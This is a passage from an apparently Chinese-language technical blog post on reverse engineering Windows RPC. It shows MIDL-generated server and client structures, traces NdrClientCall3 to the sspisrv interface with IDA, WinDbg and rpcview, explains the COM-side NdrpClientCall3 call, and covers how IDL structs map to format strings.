class="line"><span class="type">static</span> <span class="type">const</span> SERVER_ROUTINE Example1_ServerRoutineTable[] = </span><br><span class="line">    &#123;</span><br><span class="line">    (SERVER_ROUTINE)Output<span class="comment">// 导出函数</span></span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">const</span> MIDL_SERVER_INFO Example1_ServerInfo = </span><br><span class="line">    &#123;</span><br><span class="line">    &amp;Example1_StubDesc,</span><br><span class="line">    Example1_ServerRoutineTable,<span class="comment">// 导出函数表</span></span><br><span class="line">    Example1__MIDL_ProcFormatString.Format,</span><br><span class="line">    (<span class="type">unsigned</span> <span class="type">short</span> *) Example1_FormatStringOffsetTable,</span><br><span class="line">    <span class="number">0</span>,</span><br><span class="line">    (RPC_SYNTAX_IDENTIFIER*)&amp;_NDR64_RpcTransferSyntax_1_0,</span><br><span class="line">    <span class="number">2</span>,</span><br><span class="line">    (MIDL_SYNTAX_INFO*)Example1_SyntaxInfo</span><br><span class="line">    &#125;;</span><br></pre></td></tr></table></figure><p>在IDA中看<code>Example1___RpcServerInterface</code>:</p><p><img src="/images/rpc_readme/1694054196198.png" alt="1694054196198"></p><p><strong>其中+4位置是rpc服务对应的UUID.</strong></p><p>再看<code>[50h]</code>位置的<code>Example1_ServerInfo</code>:</p><p><img src="/images/rpc_readme/1694054233133.png" alt="1694054233133"></p><p>再看<code>[8h]</code>位置的<code>SERVER_ROUTINE</code>表:</p><p><img src="/images/rpc_readme/1694054247738.png" alt="1694054247738"></p><h2 id="client调用"><a href="#client调用" class="headerlink" title="client调用"></a>client调用</h2><p>client要调用服务, 必须通过<code>RpcStringBindingCompose</code>函数绑定, 再通过<code>RpcBindingFromStringBinding</code>获得<code>RPC_BINDING_HANDLE</code>, 下面是示例代码:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">status = RpcStringBindingCompose(</span><br><span class="line">   NULL, // UUID to bind to.</span><br><span class="line">   reinterpret_cast&lt;unsigned char*&gt;(&quot;ncacn_ip_tcp&quot;), // Use TCP/IP</span><br><span class="line">                                                     // protocol.</span><br><span class="line">   reinterpret_cast&lt;unsigned char*&gt;(&quot;localhost&quot;), // TCP/IP network</span><br><span class="line">                                                  // address to use.</span><br><span class="line">   reinterpret_cast&lt;unsigned char*&gt;(&quot;4747&quot;), // TCP/IP port to use.</span><br><span class="line">   NULL, // Protocol dependent network options to use.</span><br><span class="line">   &amp;szStringBinding); // String binding output.</span><br><span class="line"></span><br><span class="line">status = RpcBindingFromStringBinding(</span><br><span class="line">   szStringBinding, // The string binding to validate.</span><br><span class="line">   &amp;hExample1Binding); // Put the result in the implicit binding</span><br><span class="line">                       // handle defined in the IDL file.</span><br></pre></td></tr></table></figure><p>bind后, 直接调用接口代码即可<code>Output(&quot;Hello Implicit RPC World!&quot;);</code>, 实际上, 它真实的调用是如下:</p><p><img src="/images/rpc_readme/1694054894682.png" alt="1694054894682"></p><p>通过调用<code>NdrClientCall3</code>函数来实现调用. 第二个参数就是目标server的函数编号, 此处就是第<code>0</code>号函数(即<code>Example1_ServerRoutineTable[0]</code>), 从第四个参数开始, 就是目标函数所需要的参数.</p><p>观察一下它的 <code>Example1_ProxyInfo</code></p><p><img src="/images/rpc_readme/1694055232546.png" alt="1694055232546"></p><p><code>Example1_StubDesc</code>:</p><p><img src="/images/rpc_readme/1694055253629.png" alt="1694055253629"></p><p>从这个结构体可以看到, +18h位置是<code>&amp;hExample1Binding</code>, 指向<code>RPC_BINDING_HANDLE</code>.</p><p>再看<code>Example1___RpcClientInterface</code>对象(<code>_RPC_CLIENT_INTERFACE</code>结构体), +4位置是server对应的uuid</p><p><img src="/images/rpc_readme/1694083472060.png" alt="1694083472060"></p><p>下面从调试角度看看它的关系:</p><p><img src="/images/rpc_readme/1694056212795.png" alt="1694056212795"></p><p>继续handle对应的结构体:</p><p><img src="/images/rpc_readme/1694056354014.png" alt="1694056354014"></p><p>如图, 在<code>[F0h]</code>偏移位置的地址, 指向的结构体存在三个指针, 这三个指针分别是<code>RpcStringBindingCompose</code>的参数.</p><h2 id="在NdrClientCall3找rpc接口"><a href="#在NdrClientCall3找rpc接口" class="headerlink" title="在NdrClientCall3找rpc接口"></a>在<code>NdrClientCall3</code>找rpc接口</h2><p>一个方法就是通过上述<code>poi(poi(poi(poi(@rcx)+18))+f0)</code>偏移去找字符串</p><p>某些情况下, 可能<code>RPC_BINDING_HANDLE</code>指针不存在(即poi(poi(@rcx)+18)为空), 这种情况下, 一般第四个参数(即函数调用的第一个参数), 是一个和binding_handle 有关的结构体. 在同一个dll里, 通过查找它的引用, 大概率找得到声明位置. </p><p>以下以sspi接口中<code>sspicli.dll!SspipProcessSecurityContext</code>调用的rpc来示例如何寻找:</p><p><strong>方法1: 通过逆向代码查找</strong></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">  LODWORD(v19.Pointer) = IsOkayToExec(&amp;v58);</span><br><span class="line">  <span class="keyword">if</span> ( SLODWORD(v19.Simple) &gt;= <span class="number">0</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    v79 = v58[<span class="number">3</span>];</span><br><span class="line">     ......</span><br><span class="line">v19.Pointer = NdrClientCall3((MIDL_STUBLESS_PROXY_INFO *)&amp;sspirpc_ProxyInfo, <span class="number">6u</span>, <span class="number">0</span>i64, v79, &amp;v90, v61, v59).Pointer;<span class="comment">// 1. 关注第四个参数, 来自行1的v58</span></span><br><span class="line">      </span><br><span class="line">NTSTATUS __fastcall <span class="title function_">IsOkayToExec</span><span class="params">(_QWORD *a1)</span><span class="comment">// 2. 深入函数实现</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">if</span> ( (DllState &amp; <span class="number">0x40000000</span>) != <span class="number">0</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">if</span> ( a1 )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( !SecDllClient )</span><br><span class="line">        <span class="keyword">return</span> <span class="number">-1073741502</span>;</span><br><span class="line">      *a1 = SecDllClient;<span class="comment">// 3. 找到赋值</span></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br></pre></td></tr></table></figure><p>通过查找<code>SecDllClient</code>的引用, 来到函数<code>InitState</code></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">__int64 <span class="title function_">InitState</span><span class="params">(<span class="type">void</span>)</span></span><br><span class="line">&#123;</span><br><span class="line">    ......</span><br><span class="line">    RpcConnection = CreateRpcConnection(<span class="number">0</span>, <span class="number">2</span>, (<span class="type">unsigned</span> <span class="type">int</span>)&amp;v4, (<span class="type">unsigned</span> <span class="type">int</span>)&amp;SecLsaPackageCount, (__int64)&amp;v3);</span><br><span class="line">    ......</span><br><span class="line">  SecDllClient = LocalAlloc(<span class="number">0x40</span>u, <span class="number">0x30</span>ui64);</span><br><span class="line">  <span class="keyword">if</span> ( SecDllClient )</span><br><span class="line">  &#123;</span><br><span class="line">    *((_QWORD *)SecDllClient + <span class="number">3</span>) = v4;<span class="comment">// 4. +8位置赋值了v4      </span></span><br><span class="line"></span><br><span class="line">__int64 __fastcall <span class="title function_">CreateRpcConnection</span><span class="params">(__int64 a1, <span class="type">int</span> a2, __int64 a3, __int64 a4, __int64 a5)</span></span><br><span class="line">&#123;</span><br><span class="line">  result = SecpGetRpcBinding(&amp;Binding);</span><br><span class="line">  <span class="keyword">if</span> ( (<span class="type">int</span>)result &gt;= <span class="number">0</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    v14.Simple = <span class="number">0</span>i64;</span><br><span class="line">    v12 = a2;</span><br><span class="line">    v10.Pointer = NdrClientCall3((MIDL_STUBLESS_PROXY_INFO *)&amp;sspirpc_ProxyInfo, <span class="number">0</span>, <span class="number">0</span>i64, Binding, a1, v12, a5, a4, a3).Pointer;<span class="comment">// 5. v4即a3, a3来自于rpc调用的赋值. 关注到第四个参数binding</span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> __fastcall <span class="title function_">SecpGetRpcBinding</span><span class="params">(RPC_BINDING_HANDLE *a1)</span></span><br><span class="line">&#123;</span><br><span class="line">  Binding = <span class="number">0</span>i64;</span><br><span class="line">  v2 = RpcStringBindingComposeW(</span><br><span class="line">         <span class="number">0</span>i64,</span><br><span class="line">         (RPC_WSTR)<span class="string">L&quot;ncalrpc&quot;</span>,</span><br><span class="line">         <span class="number">0</span>i64,</span><br><span class="line">         (RPC_WSTR)<span class="string">L&quot;lsasspirpc&quot;</span>,</span><br><span class="line">         word_180030B10,</span><br><span class="line">         &amp;StringBinding);</span><br><span class="line">  v2 = RpcBindingFromStringBindingW(StringBinding, &amp;Binding);<span class="comment">// 6. 可以看到, binding就是我们要找的rpc_binding_handle</span></span><br></pre></td></tr></table></figure><p>因为名字有isass, 估计是进程<code>isass.exe</code>, 通过<a href="https://www.rpcview.org/">rpcview</a>查看:</p><p><img src="/images/rpc_readme/1694059325724.png" alt="1694059325724"></p><p>rpcview不会自动识别端口来自哪个dll的rpc接口, 因此需要我们猜一下.</p><p>因为是sspi组件, 所以查看左下方所有的dll, 猜测应该是sspisrv.dll对应的服务是目标<code>lsasspirpc</code>, 右下方就是rpc的调用表.</p><p>rpcview的<code>Flags</code>栏, 鼠标放上去, 可以看到它的flag是什么意思.</p><p><img src="/images/rpc_readme/1721958980682.png" alt="1721958980682"></p><p>如果想有符号, 通过下列方式添加(目录不要包含空格):</p><p><img src="/images/rpc_readme/1694059416499.png" alt="1694059416499"></p><p><img src="/images/rpc_readme/1694059427500.png" alt="1694059427500"></p><p>类似于windbg. 添加后重启rpcview. </p><blockquote><p>它不会自动下载符号, 需要把符号先下载到对应目录才行, 下面是示例下载符号到<code>C:\symbols</code>目录的方法, 如果只需要一个dll的符号, 可以只下载那个dll, 不用全部下载.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">cmd&gt; cd &quot;C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\&quot;</span><br><span class="line">cmd&gt; .\symchk /s srv*c:\SYMBOLS*https://msdl.microsoft.com/download/symbols C:\Windows\System32\*.dll</span><br></pre></td></tr></table></figure><p>另外, 在选中dll后, 点击右键, 选择<code>decompile</code>, 可以得到接口对应的idl.</p></blockquote><p>在sspisvc.dll里, 我们查找<code>RpcServerRegisterIf3</code>引用, 找到:</p><p><img src="/images/rpc_readme/1694059702812.png" alt="1694059702812"></p><p>跟踪<code>dword_180006380</code>:</p><p><img src="/images/rpc_readme/1694059793138.png" alt="1694059793138"></p><p>查看<code>[50h]</code>:</p><p><img src="/images/rpc_readme/1694060073435.png" alt="1694060073435"></p><p>查看<code>[8h]</code>:</p><p><img src="/images/rpc_readme/1694060911071.png" alt="1694060911071"></p><p>自此我们找到了它的调用接口.</p><p>一般rpc server的调用栈回溯</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">SspiSrv!SspirProcessSecurityContext</span><br><span class="line">RPCRT4!Invoke+0x73</span><br><span class="line">RPCRT4!Ndr64StubWorker+0xb98</span><br><span class="line">RPCRT4!NdrServerCallAll+0x3c</span><br><span class="line">RPCRT4!DispatchToStubInCNoAvrf+0x17</span><br><span class="line">RPCRT4!RPC_INTERFACE::DispatchToStubWorker+0x1a8</span><br><span class="line">RPCRT4!RPC_INTERFACE::DispatchToStub+0xf1</span><br><span class="line">RPCRT4!LRPC_SCALL::DispatchRequest+0x14d</span><br><span class="line">RPCRT4!LRPC_SCALL::HandleRequest+0xd5a</span><br><span class="line">RPCRT4!LRPC_SASSOCIATION::HandleRequest+0x2c3</span><br><span class="line">RPCRT4!LRPC_ADDRESS::HandleRequest+0x183</span><br><span class="line">RPCRT4!LRPC_ADDRESS::ProcessIO+0x939</span><br><span class="line">RPCRT4!LrpcIoComplete+0xfe</span><br><span class="line">ntdll!TppAlpcpExecuteCallback+0x20c</span><br><span class="line">ntdll!TppWorkerThread+0x4b3</span><br><span class="line">KERNEL32!BaseThreadInitThunk+0x17</span><br><span class="line">ntdll!RtlUserThreadStart+0x20</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><strong>方法2: 通过调试找到uuid</strong></p><p>在调用<code>NdrClientCall3</code>断下, 依次查看结构体:</p><p><img src="/images/rpc_readme/1694084123706.png" alt="1694084123706"></p><p>和rpcview一致.</p><h2 id="com接口的rpc-NdrpClientCall3"><a href="#com接口的rpc-NdrpClientCall3" class="headerlink" title="com接口的rpc NdrpClientCall3"></a>com接口的rpc NdrpClientCall3</h2><p>com接口一般在进程内调用rpc时就用的 <code>RPCRT4!NdrpClientCall3</code>接口. 声明如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">CLIENT_CALL_RETURN RPC_ENTRY</span><br><span class="line">NdrpClientCall3</span><br><span class="line">(</span><br><span class="line">void * pThis, // rcx</span><br><span class="line">MIDL_STUBLESS_PROXY_INFO *pProxyInfo, // rdx</span><br><span class="line">ulong nProcNum, // r8</span><br><span class="line">void *pReturnValue, // r9</span><br><span class="line">NDR_PROC_CONTEXT *pContext, // poi(@rsp+0x28)</span><br><span class="line">uchar *StartofStack // poi(@rsp+0x30)</span><br><span class="line"></span><br><span class="line">)</span><br></pre></td></tr></table></figure><p>第二个参数就是<code>MIDL_STUBLESS_PROXY_INFO </code>结构体指针, 第三个是函数序号. 如果确认是进程内的调用, 可以直接在当前线程的<code>RPCRT4!Invoke</code>下断点, 直接找到相关处理函数.</p><p>示例堆栈:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">07 00000053`8d2fd8e0 00007ffe`ef6d7de3     eapahost!EapHost::HostAuthenticatorApis::EapHostAuthenticatorReceivePacket+0xde // 实际调用的函数</span><br><span class="line"></span><br><span class="line">08 00000053`8d2fd960 00007ffe`ef73bc6d     RPCRT4!Invoke+0x73</span><br><span class="line">09 00000053`8d2fd9d0 00007ffe`ef6668b9     RPCRT4!Ndr64StubWorker+0xbfd</span><br><span class="line">0a 00000053`8d2fe0a0 00007ffe`ef802209     RPCRT4!NdrStubCall3+0xc9</span><br><span class="line">0b 00000053`8d2fe100 00007ffe`ef66a92b     combase!CStdStubBuffer_Invoke+0x59 [d:\rs1\onecore\com\combase\ndr\ndrole\stub.cxx @ 1527] </span><br><span class="line">0c 00000053`8d2fe140 00007ffe`ef84de3c     RPCRT4!CStdStubBuffer_Invoke+0x3b</span><br><span class="line">0d (Inline Function) --------`--------     combase!InvokeStubWithExceptionPolicyAndTracing::__l6::&lt;lambda_76d9e92c799d246a4afbe64a2bf5673d&gt;::operator()+0x24 [d:\rs1\onecore\com\combase\dcomrem\channelb.cxx @ 1824] </span><br><span class="line">0e 00000053`8d2fe170 00007ffe`ef84e482     combase!ObjectMethodExceptionHandlingAction&lt;&lt;lambda_76d9e92c799d246a4afbe64a2bf5673d&gt; &gt;+0x4c [d:\rs1\onecore\com\combase\dcomrem\excepn.hxx @ 91] </span><br><span class="line">0f (Inline Function) --------`--------     combase!InvokeStubWithExceptionPolicyAndTracing+0x8d [d:\rs1\onecore\com\combase\dcomrem\channelb.cxx @ 1822] </span><br><span class="line">10 00000053`8d2fe1d0 00007ffe`ef81fab1     combase!DefaultStubInvoke+0x222 [d:\rs1\onecore\com\combase\dcomrem\channelb.cxx @ 1891] </span><br><span class="line">11 00000053`8d2fe3f0 00007ffe`ef8054c0     combase!CCtxChnl::SendReceive+0x2b1 [d:\rs1\onecore\com\combase\dcomrem\crossctx.cxx @ 4138] </span><br><span class="line">12 00000053`8d2fe660 00007ffe`ef737aed     combase!NdrExtpProxySendReceive+0x1c0 [d:\rs1\onecore\com\combase\ndr\ndrole\proxy.cxx @ 1965] </span><br><span class="line">13 00000053`8d2fe6d0 00007ffe`ef8014f4     RPCRT4!NdrpClientCall3+0x46d</span><br><span class="line">14 00000053`8d2feae0 00007ffe`ef90cbb2     combase!ObjectStublessClient+0x144 [d:\rs1\onecore\com\combase\ndr\ndrole\amd64\stblsclt.cxx @ 371] </span><br><span class="line">15 00000053`8d2fee70 00007ffe`e27a4808     combase!ObjectStubless+0x42 [d:\rs1\onecore\com\combase\ndr\ndrole\amd64\stubless.asm @ 176] </span><br><span class="line"></span><br><span class="line">eapahost!ObjectStublessClient6(直接调用的 combase!ObjectStublessClient6)// 进入com接口调用</span><br><span class="line"></span><br><span class="line">16 00000053`8d2feec0 00007ffe`e27a25d9     iassam!EAPSession::processEAPPacket+0x64</span><br></pre></td></tr></table></figure><h2 id="RPC接口的序列化"><a href="#RPC接口的序列化" class="headerlink" title="RPC接口的序列化"></a>RPC接口的序列化</h2><p>当我们构造rpc的请求时, 需要知道server端需要什么样的参数, 如果是自定义的结构体, 如果rpcview无法解析出结构体, 就需要我们逆向server的结构体格式化描述, 逆向出结构体. 本节将介绍server端如何构造的结构体格式化描述, 通过ida比对, 来逆向server的结构体.</p><p>假如我们的idl定义如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line">[</span><br><span class="line">    uuid(<span class="number">3</span>d267954-eeb7<span class="number">-11</span>d1-b94e<span class="number">-00</span>c04fa3080d),</span><br><span class="line">        version(<span class="number">1.0</span>),</span><br><span class="line">]</span><br><span class="line">interface Example1</span><br><span class="line">&#123;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc0_TLSRpcGetVersion</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_1)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc1_TLSRpcConnect</span><span class="params">(</span></span><br><span class="line"><span class="params">        [out][context_handle] <span class="type">void</span>** arg_1)</span>;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">uknow1</span> &#123;</span></span><br><span class="line">        <span class="type">int</span> f1;</span><br><span class="line">        <span class="type">int</span> f2;</span><br><span class="line">        <span class="type">int</span> f3;</span><br><span class="line">        <span class="type">int</span> f4;</span><br><span class="line">        [size_is(f3)] <span class="type">unsigned</span> <span class="type">char</span>* buff;</span><br><span class="line">        <span class="type">int</span> f18;</span><br><span class="line">        <span class="type">int</span> f1c;</span><br><span class="line">        [size_is(f18)] <span class="type">unsigned</span> <span class="type">char</span>* buff2;</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">uknow2</span> &#123;</span></span><br><span class="line">        <span class="type">int</span> f1;</span><br><span class="line">        <span class="type">int</span> f2;</span><br><span class="line">        <span class="type">char</span>* buff;</span><br><span class="line">        <span class="type">int</span> f10;</span><br><span class="line">        <span class="type">int</span> f14;</span><br><span class="line">        <span class="type">int</span> f18;</span><br><span class="line">        <span class="type">int</span> f1c;</span><br><span class="line">    &#125;;</span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc44_TLSRpcChallengeServer</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_1,</span></span><br><span class="line"><span class="params">        [in]<span class="keyword">struct</span> uknow1* arg_2,</span></span><br><span class="line"><span class="params">        [out][ref]<span class="keyword">struct</span> uknow2** arg_3,</span></span><br><span class="line"><span class="params">        [out][ref]<span class="keyword">struct</span> uknow1** arg_4,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_5)</span>;</span><br><span class="line">]</span><br></pre></td></tr></table></figure><p>在本文示例的server中, 添加如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">error_status_t</span> <span class="title function_">Proc0_TLSRpcGetVersion</span><span class="params">(<span class="type">void</span> *handle, <span class="type">long</span> *ver)</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">error_status_t</span> <span class="title function_">Proc1_TLSRpcConnect</span><span class="params">(<span class="type">void</span>** handle)</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">2</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">error_status_t</span> <span class="title function_">Proc44_TLSRpcChallengeServer</span><span class="params">(</span></span><br><span class="line"><span class="params">    <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">    <span class="type">long</span> arg_1,</span></span><br><span class="line"><span class="params">    <span class="keyword">struct</span> uknow1* arg_2,</span></span><br><span class="line"><span class="params">    <span class="keyword">struct</span> uknow2** arg_3,</span></span><br><span class="line"><span class="params">    <span class="keyword">struct</span> uknow1** arg_4,</span></span><br><span class="line"><span class="params">    <span class="type">long</span>* arg_5)</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里, 我们一共定义了三个接口函数. 并声明了两种特别的结构体<code>ukonw1</code>, <code>uknow2</code>.</p><p>在自动生成的.c文件里, 就可以看到如下信息:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">static</span> <span class="type">const</span> RPC_SERVER_INTERFACE Example1___RpcServerInterface =</span><br><span class="line">    &#123;</span><br><span class="line">    <span class="keyword">sizeof</span>(RPC_SERVER_INTERFACE),</span><br><span class="line">    &#123;&#123;<span class="number">0x3d267954</span>,<span class="number">0xeeb7</span>,<span class="number">0x11d1</span>,&#123;<span class="number">0xb9</span>,<span class="number">0x4e</span>,<span class="number">0x00</span>,<span class="number">0xc0</span>,<span class="number">0x4f</span>,<span class="number">0xa3</span>,<span class="number">0x08</span>,<span class="number">0x0d</span>&#125;&#125;,&#123;<span class="number">1</span>,<span class="number">0</span>&#125;&#125;,</span><br><span class="line">    &#123;&#123;<span class="number">0x8A885D04</span>,<span class="number">0x1CEB</span>,<span class="number">0x11C9</span>,&#123;<span class="number">0x9F</span>,<span class="number">0xE8</span>,<span class="number">0x08</span>,<span class="number">0x00</span>,<span class="number">0x2B</span>,<span class="number">0x10</span>,<span class="number">0x48</span>,<span class="number">0x60</span>&#125;&#125;,&#123;<span class="number">2</span>,<span class="number">0</span>&#125;&#125;,</span><br><span class="line">    (RPC_DISPATCH_TABLE*)&amp;Example1_v1_0_DispatchTable,</span><br><span class="line">    <span class="number">0</span>,</span><br><span class="line">    <span class="number">0</span>,</span><br><span class="line">    <span class="number">0</span>,</span><br><span class="line">    &amp;Example1_ServerInfo,</span><br><span class="line">    <span class="number">0x06000000</span></span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">const</span> MIDL_SERVER_INFO Example1_ServerInfo = </span><br><span class="line">    &#123;</span><br><span class="line">    &amp;Example1_StubDesc,</span><br><span class="line">    Example1_ServerRoutineTable,</span><br><span class="line">    Example1__MIDL_ProcFormatString.Format,</span><br><span class="line">    (<span class="type">unsigned</span> <span class="type">short</span> *) Example1_FormatStringOffsetTable,</span><br><span class="line">    <span class="number">0</span>,</span><br><span class="line">    (RPC_SYNTAX_IDENTIFIER*)&amp;_NDR64_RpcTransferSyntax_1_0,</span><br><span class="line">    <span class="number">2</span>,</span><br><span class="line">    (MIDL_SYNTAX_INFO*)Example1_SyntaxInfo</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">const</span> MIDL_SYNTAX_INFO Example1_SyntaxInfo [  <span class="number">2</span> ] = </span><br><span class="line">    &#123;</span><br><span class="line">    &#123;</span><br><span class="line">    &#123;&#123;<span class="number">0x8A885D04</span>,<span class="number">0x1CEB</span>,<span class="number">0x11C9</span>,&#123;<span class="number">0x9F</span>,<span class="number">0xE8</span>,<span class="number">0x08</span>,<span class="number">0x00</span>,<span class="number">0x2B</span>,<span class="number">0x10</span>,<span class="number">0x48</span>,<span class="number">0x60</span>&#125;&#125;,&#123;<span class="number">2</span>,<span class="number">0</span>&#125;&#125;,</span><br><span class="line">    (RPC_DISPATCH_TABLE*)&amp;Example1_v1_0_DispatchTable,</span><br><span class="line">    Example1__MIDL_ProcFormatString.Format,</span><br><span class="line">    Example1_FormatStringOffsetTable,</span><br><span class="line">    Example1__MIDL_TypeFormatString.Format,</span><br><span class="line">    <span class="number">0</span>,</span><br><span class="line">    <span class="number">0</span>,</span><br><span class="line">    <span class="number">0</span></span><br><span class="line">    &#125;</span><br><span class="line">    ,&#123;</span><br><span class="line">    &#123;&#123;<span class="number">0x71710533</span>,<span class="number">0xbeba</span>,<span class="number">0x4937</span>,&#123;<span class="number">0x83</span>,<span class="number">0x19</span>,<span 